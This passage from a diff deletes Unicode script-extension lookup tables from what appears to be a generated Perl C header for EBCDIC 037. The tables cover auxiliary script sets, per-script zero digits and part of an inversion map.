SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_33[] = { - SCX_Hiragana, - SCX_Jpan, - SCX_Katakana -}; - -static const SCX_enum SCX_AUX_TABLE_34[] = { - SCX_Han, - SCX_Hanb, - SCX_Hiragana, - SCX_Jpan, - SCX_Katakana, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_35[] = { - SCX_Hiragana, - SCX_Jpan -}; - -static const SCX_enum SCX_AUX_TABLE_36[] = { - SCX_Jpan, - SCX_Katakana -}; - -static const SCX_enum SCX_AUX_TABLE_37[] = { - SCX_Devanagari, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kaithi, - SCX_Kannada, - SCX_Khudawadi, - SCX_Mahajani, - SCX_Modi, - SCX_Takri, - SCX_Tirhuta -}; - -static const SCX_enum SCX_AUX_TABLE_38[] = { - SCX_Devanagari, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kaithi, - SCX_Khudawadi, - SCX_Mahajani, - SCX_Modi, - SCX_Takri, - SCX_Tirhuta -}; - -static const SCX_enum SCX_AUX_TABLE_39[] = { - SCX_Bengali, - SCX_Devanagari -}; - -static const SCX_enum SCX_AUX_TABLE_40[] = { - SCX_Devanagari, - SCX_Tamil -}; - -static const SCX_enum SCX_AUX_TABLE_41[] = { - SCX_Kayah_Li, - SCX_Latin, - SCX_Myanmar -}; - -static const SCX_enum SCX_AUX_TABLE_42[] = { - SCX_Buginese, - SCX_Javanese -}; - -static const SCX_enum SCX_AUX_TABLE_43[] = { - SCX_Cypriot, - SCX_Linear_B -}; - -static const SCX_enum SCX_AUX_TABLE_44[] = { - SCX_Cypriot, - SCX_Linear_A, - SCX_Linear_B -}; - -static const SCX_enum SCX_AUX_TABLE_45[] = { - SCX_Arabic, - SCX_Coptic -}; - -static const SCX_enum * const SCX_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - SCX_AUX_TABLE_1, - SCX_AUX_TABLE_2, - SCX_AUX_TABLE_3, - SCX_AUX_TABLE_4, - SCX_AUX_TABLE_5, - SCX_AUX_TABLE_6, - SCX_AUX_TABLE_7, - SCX_AUX_TABLE_8, - SCX_AUX_TABLE_9, - SCX_AUX_TABLE_10, - SCX_AUX_TABLE_11, - SCX_AUX_TABLE_12, - SCX_AUX_TABLE_13, - SCX_AUX_TABLE_14, - SCX_AUX_TABLE_15, - SCX_AUX_TABLE_16, - SCX_AUX_TABLE_17, - SCX_AUX_TABLE_18, - SCX_AUX_TABLE_19, - SCX_AUX_TABLE_20, - SCX_AUX_TABLE_21, - SCX_AUX_TABLE_22, - SCX_AUX_TABLE_23, - SCX_AUX_TABLE_24, - SCX_AUX_TABLE_25, - SCX_AUX_TABLE_26, - SCX_AUX_TABLE_27, - SCX_AUX_TABLE_28, - SCX_AUX_TABLE_29, - SCX_AUX_TABLE_30, - SCX_AUX_TABLE_31, - SCX_AUX_TABLE_32, - SCX_AUX_TABLE_33, - SCX_AUX_TABLE_34, - SCX_AUX_TABLE_35, - SCX_AUX_TABLE_36, - SCX_AUX_TABLE_37, - SCX_AUX_TABLE_38, - SCX_AUX_TABLE_39, - SCX_AUX_TABLE_40, - SCX_AUX_TABLE_41, - SCX_AUX_TABLE_42, - SCX_AUX_TABLE_43, - SCX_AUX_TABLE_44, - SCX_AUX_TABLE_45 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 SCX_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* SCX_AUX_TABLE_1 */, - 2 /* SCX_AUX_TABLE_2 */, - 2 /* SCX_AUX_TABLE_3 */, - 2 /* SCX_AUX_TABLE_4 */, - 2 /* SCX_AUX_TABLE_5 */, - 3 /* SCX_AUX_TABLE_6 */, - 6 /* SCX_AUX_TABLE_7 */, - 2 /* SCX_AUX_TABLE_8 */, - 2 /* SCX_AUX_TABLE_9 */, - 12 /* SCX_AUX_TABLE_10 */, - 11 /* SCX_AUX_TABLE_11 */, - 16 /* SCX_AUX_TABLE_12 */, - 17 /* SCX_AUX_TABLE_13 */, - 3 /* SCX_AUX_TABLE_14 */, - 3 /* SCX_AUX_TABLE_15 */, - 2 /* SCX_AUX_TABLE_16 */, - 2 /* SCX_AUX_TABLE_17 */, - 2 /* SCX_AUX_TABLE_18 */, - 3 /* SCX_AUX_TABLE_19 */, - 2 /* SCX_AUX_TABLE_20 */, - 2 /* SCX_AUX_TABLE_21 */, - 4 /* SCX_AUX_TABLE_22 */, - 2 /* SCX_AUX_TABLE_23 */, - 2 /* SCX_AUX_TABLE_24 */, - 2 /* SCX_AUX_TABLE_25 */, - 5 /* SCX_AUX_TABLE_26 */, - 2 /* SCX_AUX_TABLE_27 */, - 3 /* SCX_AUX_TABLE_28 */, - 4 /* SCX_AUX_TABLE_29 */, - 9 /* SCX_AUX_TABLE_30 */, - 8 /* SCX_AUX_TABLE_31 */, - 5 /* SCX_AUX_TABLE_32 */, - 3 /* SCX_AUX_TABLE_33 */, - 6 /* SCX_AUX_TABLE_34 */, - 2 /* SCX_AUX_TABLE_35 */, - 2 /* SCX_AUX_TABLE_36 */, - 10 /* SCX_AUX_TABLE_37 */, - 9 /* SCX_AUX_TABLE_38 */, - 2 /* SCX_AUX_TABLE_39 */, - 2 /* SCX_AUX_TABLE_40 */, - 3 /* SCX_AUX_TABLE_41 */, - 2 /* SCX_AUX_TABLE_42 */, - 2 /* SCX_AUX_TABLE_43 */, - 3 /* SCX_AUX_TABLE_44 */, - 2 /* SCX_AUX_TABLE_45 */ -}; - -/* This table, indexed by the script enum, gives the zero code point for that - * script; 0 if the script has multiple digit sequences. Scripts without a - * digit sequence use ASCII [0-9], hence are marked '0' */ -static const UV script_zeros[] = { - '0', /* Unknown */ - 0x1e950, /* Adlam */ - 0x11730, /* Ahom */ - '0', /* Anatolian_Hieroglyphs */ - 0, /* Arabic */ - '0', /* Armenian */ - '0', /* Avestan */ - 0x1b50, /* Balinese */ - '0', /* Bamum */ - '0', /* Bassa_Vah */ - '0', /* Batak */ - 0x9e6, /* Bengali */ - 0x11c50, /* Bhaiksuki */ - '0', /* Bopomofo */ - 0x11066, /* Brahmi */ - '0', /* Braille */ - '0', /* Buginese */ - '0', /* Buhid */ - '0', /* Canadian_Aboriginal */ - '0', /* Carian */ - '0', /* Caucasian_Albanian */ - 0, /* Chakma */ - 0xaa50, /* Cham */ - '0', /* Cherokee */ - 0, /* Common */ - '0', /* Coptic */ - '0', /* Cuneiform */ - '0', /* Cypriot */ - '0', /* Cyrillic */ - '0', /* Deseret */ - 0x966, /* Devanagari */ - '0', /* Duployan */ - '0', /* Egyptian_Hieroglyphs */ - '0', /* Elbasan */ - '0', /* Ethiopic */ - '0', /* Georgian */ - '0', /* Glagolitic */ - '0', /* Gothic */ - 0xbe6, /* Grantha */ - '0', /* Greek */ - 0xae6, /* Gujarati */ - 0xa66, /* Gurmukhi */ - '0', /* Han */ - '0', /* Hanb */ - '0', /* Hangul */ - '0', /* Hanunoo */ - '0', /* Hatran */ - '0', /* Hebrew */ - '0', /* Hiragana */ - '0', /* Imperial_Aramaic */ - 0, /* Inherited */ - '0', /* Inscriptional_Pahlavi */ - '0', /* Inscriptional_Parthian */ - 0xa9d0, /* Javanese */ - '0', /* Jpan */ - 0x966, /* Kaithi */ - 0xce6, /* Kannada */ - '0', /* Katakana */ - 0xa900, /* Kayah_Li */ - '0', /* Kharoshthi */ - 0x17e0, /* Khmer */ - 0xae6, /* Khojki */ - 0x112f0, /* Khudawadi */ - '0', /* Kore */ - 0xed0, /* Lao */ - '0', /* Latin */ - 0x1c40, /* Lepcha */ - 0x1946, /* Limbu */ - '0', /* Linear_A */ - '0', /* Linear_B */ - '0', /* Lisu */ - '0', /* Lycian */ - '0', /* Lydian */ - 0x966, /* Mahajani */ - 0xd66, /* Malayalam */ - '0', /* Mandaic */ - '0', /* Manichaean */ - '0', /* Marchen */ - 0x11d50, /* Masaram_Gondi */ - 0xabf0, /* Meetei_Mayek */ - '0', /* Mende_Kikakui */ - '0', /* Meroitic_Cursive */ - '0', /* Meroitic_Hieroglyphs */ - '0', /* Miao */ - 0x11650, /* Modi */ - 0x1810, /* Mongolian */ - 0x16a60, /* Mro */ - 0xa66, /* Multani */ - 0, /* Myanmar */ - '0', /* Nabataean */ - 0x19d0, /* New_Tai_Lue */ - 0x11450, /* Newa */ - 0x7c0, /* Nko */ - '0', /* Nushu */ - '0', /* Ogham */ - 0x1c50, /* Ol_Chiki */ - '0', /* Old_Hungarian */ - '0', /* Old_Italic */ - '0', /* Old_North_Arabian */ - '0', /* Old_Permic */ - '0', /* Old_Persian */ - '0', /* Old_South_Arabian */ - '0', /* Old_Turkic */ - 0xb66, /* Oriya */ - '0', /* Osage */ - 0x104a0, /* Osmanya */ - 0x16b50, /* Pahawh_Hmong */ - '0', /* Palmyrene */ - '0', /* Pau_Cin_Hau */ - '0', /* Phags_Pa */ - '0', /* Phoenician */ - '0', /* Psalter_Pahlavi */ - '0', /* Rejang */ - '0', /* Runic */ - '0', /* Samaritan */ - 0xa8d0, /* Saurashtra */ - 0x111d0, /* Sharada */ - '0', /* Shavian */ - '0', /* Siddham */ - '0', /* SignWriting */ - 0xde6, /* Sinhala */ - 0x110f0, /* Sora_Sompeng */ - '0', /* Soyombo */ - 0x1bb0, /* Sundanese */ - 0x9e6, /* Syloti_Nagri */ - '0', /* Syriac */ - '0', /* Tagalog */ - '0', /* Tagbanwa */ - 0x1040, /* Tai_Le */ - 0, /* Tai_Tham */ - '0', /* Tai_Viet */ - 0x116c0, /* Takri */ - 0xbe6, /* Tamil */ - '0', /* Tangut */ - 0xc66, /* Telugu */ - 0x660, /* Thaana */ - 0xe50, /* Thai */ - 0xf20, /* Tibetan */ - '0', /* Tifinagh */ - 0x114d0, /* Tirhuta */ - '0', /* Ugaritic */ - 0xa620, /* Vai */ - 0x118e0 /* Warang_Citi */ -}; - -static const SCX_enum _Perl_SCX_invmap[] = { /* for EBCDIC 037 */ - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_use_AUX_TABLE_1, - SCX_Common, - SCX_Inherited, - SCX_Greek, - SCX_Inherited, - SCX_Greek, - SCX_Inherited, - SCX_Latin, - SCX_Greek, - SCX_Common, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Common, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Common, - SCX_Greek, - SCX_Common, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Coptic, - SCX_Greek, - SCX_Cyrillic, - SCX_use_AUX_TABLE_2, - SCX_use_AUX_TABLE_3, - SCX_use_AUX_TABLE_4, - SCX_use_AUX_TABLE_3, - SCX_Cyrillic, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_use_AUX_TABLE_5, - SCX_Armenian, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Arabic, - SCX_Common, - SCX_Arabic, - SCX_use_AUX_TABLE_6, - SCX_Arabic, - SCX_use_AUX_TABLE_6, - SCX_Unknown, - SCX_Arabic, - SCX_use_AUX_TABLE_6, - SCX_Arabic, - SCX_use_AUX_TABLE_7, - SCX_Arabic, - SCX_use_AUX_TABLE_8, - SCX_Arabic, - SCX_use_AUX_TABLE_9, - SCX_Arabic, - SCX_use_AUX_TABLE_8, - SCX_Arabic, - SCX_Common, - SCX_Arabic, - SCX_Syriac, - SCX_Unknown, - SCX_Syriac, - SCX_Unknown, - SCX_Syriac, - SCX_Arabic, - SCX_Thaana, - SCX_Unknown, - SCX_Nko, - SCX_Unknown, - SCX_Samaritan, - SCX_Unknown, - SCX_Samaritan, - SCX_Unknown, - SCX_Mandaic, - SCX_Unknown, - SCX_Mandaic, - SCX_Unknown, - SCX_Syriac, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Common, - SCX_Arabic, - SCX_Devanagari, - SCX_use_AUX_TABLE_10, - SCX_use_AUX_TABLE_11, - SCX_Devanagari, - SCX_use_AUX_TABLE_12, - SCX_use_AUX_TABLE_13, - SCX_use_AUX_TABLE_14, - SCX_Devanagari, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_use_AUX_TABLE_15, - SCX_Bengali, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_use_AUX_TABLE_16, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_use_AUX_TABLE_17, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_use_AUX_TABLE_18, - SCX_Unknown, - SCX_Tamil, - SCX_use_AUX_TABLE_18, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_use_AUX_TABLE_18, - SCX_Tamil, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Thai, - SCX_Unknown, - SCX_Common, - SCX_Thai, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Common, - SCX_Tibetan, - SCX_Unknown, - SCX_Myanmar, - SCX_use_AUX_TABLE_19, - SCX_Myanmar, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_use_AUX_TABLE_20, - SCX_Georgian, - SCX_use_AUX_TABLE_21, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Cherokee, - SCX_Unknown, - SCX_Cherokee, - SCX_Unknown, - SCX_Canadian_Aboriginal, - SCX_Ogham, - SCX_Unknown, - SCX_Runic, - SCX_Common, - SCX_Runic, - SCX_Unknown, - SCX_Tagalog, - SCX_Unknown, - SCX_Tagalog, - SCX_Unknown, - SCX_Hanunoo, - SCX_use_AUX_TABLE_22, - SCX_Unknown, - SCX_Buhid, - SCX_Unknown, - SCX_Tagbanwa, - SCX_Unknown, - SCX_Tagbanwa, - SCX_Unknown, - SCX_Tagbanwa, - SCX_Unknown, - SCX_Khmer, - SCX_Unknown, - SCX_Khmer, - SCX_Unknown, - SCX_Khmer, - SCX_Unknown, - SCX_Mongolian, - SCX_use_AUX_TABLE_23, - SCX_Mongolian, - SCX_use_AUX_TABLE_23, - SCX_Mongolian, - SCX_Unknown, - SCX_Mongolian, - SCX_Unknown, - SCX_Mongolian, - SCX_Unknown, - SCX_Mongolian, - SCX_Unknown, - SCX_Canadian_Aboriginal, - SCX_Unknown, - SCX_Limbu, - SCX_Unknown, - SCX_Limbu, - SCX_Unknown, - SCX_Limbu, - SCX_Unknown, - SCX_Limbu, - SCX_Unknown, - SCX_Limbu, - SCX_Tai_Le, - SCX_Unknown, - SCX_Tai_Le, - SCX_Unknown, - SCX_New_Tai_Lue, - SCX_Unknown, - SCX_New_Tai_Lue, - SCX_Unknown, - SCX_New_Tai_Lue, - SCX_Unknown, - SCX_New_Tai_Lue, - SCX_Khmer, - SCX_Buginese, - SCX_Unknown, - SCX_Buginese, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Inherited, - SCX_Unknown, - SCX_Balinese, - SCX_Unknown, - SCX_Balinese, - SCX_Unknown, - SCX_Sundanese, - SCX_Batak, - SCX_Unknown, - SCX_Batak, - SCX_Lepcha, - SCX_Unknown, - SCX_Lepcha, - SCX_Unknown, - SCX_Lepcha, - SCX_Ol_Chiki, - SCX_Cyrillic, - SCX_Unknown, - SCX_Sundanese, - SCX_Unknown, - SCX_use_AUX_TABLE_24, - SCX_Devanagari, - SCX_use_AUX_TABLE_24, - SCX_Devanagari, - SCX_use_AUX_TABLE_25, - SCX_Devanagari, - SCX_use_AUX_TABLE_25, - SCX_use_AUX_TABLE_26, - SCX_Devanagari, - SCX_use_AUX_TABLE_25, - SCX_Devanagari, - SCX_use_AUX_TABLE_25, - SCX_Devanagari, - SCX_use_AUX_TABLE_24, - SCX_use_AUX_TABLE_27, - SCX_Devanagari, - SCX_Bengali, - SCX_use_AUX_TABLE_24, - SCX_Unknown, - SCX_Latin, - SCX_Greek, - SCX_Cyrillic, - SCX_Latin, - SCX_Greek, - SCX_Latin, - SCX_Greek, - SCX_Latin, - SCX_Cyrillic, - SCX_Latin, - SCX_Greek, - SCX_Inherited, - SCX_Unknown, - SCX_Inherited, - SCX_Latin, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Latin, - SCX_Unknown, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Unknown, - SCX_Latin, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Inherited, - SCX_use_AUX_TABLE_28, - SCX_Unknown, - SCX_Common, - SCX_Greek, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Braille, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Latin, - SCX_Coptic, - SCX_Unknown, - SCX_Coptic, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_Unknown, - SCX_Tifinagh, - SCX_Unknown, - SCX_Tifinagh, - SCX_Unknown, - SCX_Tifinagh, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Cyrillic, - SCX_Common, - SCX_use_AUX_TABLE_3, - SCX_Common, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_use_AUX_TABLE_30, - SCX_use_AUX_TABLE_31, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_use_AUX_TABLE_30, - SCX_Common, - SCX_use_AUX_TABLE_31, - SCX_use_AUX_TABLE_30, - SCX_use_AUX_TABLE_31, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_use_AUX_TABLE_32, - SCX_use_AUX_TABLE_21, - SCX_use_AUX_TABLE_31, - SCX_use_AUX_TABLE_33, - SCX_Common, - SCX_use_AUX_TABLE_31, - SCX_use_AUX_TABLE_29, - SCX_use_AUX_TABLE_34, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_35, - SCX_Unknown, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_35, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_30, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_36, - SCX_Unknown, - SCX_use_AUX_TABLE_1, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_use_AUX_TABLE_1, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_21, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_36, - SCX_Unknown, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Yi, - SCX_Unknown, - SCX_Yi, - SCX_Unknown, - SCX_Lisu, - SCX_Vai, - SCX_Unknown, - SCX_Cyrillic, - SCX_use_AUX_TABLE_3, - SCX_Cyrillic, - SCX_Bamum, - SCX_Unknown, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Unknown, - SCX_Latin, - SCX_Unknown, - SCX_Latin, - SCX_Syloti_Nagri, - SCX_Unknown, - SCX_use_AUX_TABLE_37, - SCX_use_AUX_TABLE_38, - SCX_Unknown, - SCX_Phags_Pa, - SCX_Unknown, - SCX_Saurashtra, - SCX_Unknown, - SCX_Saurashtra, - SCX_Unknown, - SCX_Devanagari, - SCX_use_AUX_TABLE_39, - SCX_Devanagari, - SCX_use_AUX_TABLE_40, - SCX_Devanagari, - SCX_Unknown, - SCX_Kayah_Li, - SCX_use_AUX_TABLE_41, - SCX_Kayah_Li, - SCX_Rejang, - SCX_Unknown, - SCX_Rejang, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_Javanese, - SCX_Unknown, - SCX_use_AUX_TABLE_42, - SCX_Javanese, - SCX_Unknown, - SCX_Javanese, - SCX_Myanmar, - SCX_Unknown, - SCX_Cham, - SCX_Unknown, - SCX_Cham, - SCX_Unknown, - SCX_Cham, - SCX_Unknown, - SCX_Cham, - SCX_Myanmar, - SCX_Tai_Viet, - SCX_Unknown, - SCX_Tai_Viet, - SCX_Meetei_Mayek, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Greek, - SCX_Unknown, - SCX_Cherokee, - SCX_Meetei_Mayek, - SCX_Unknown, - 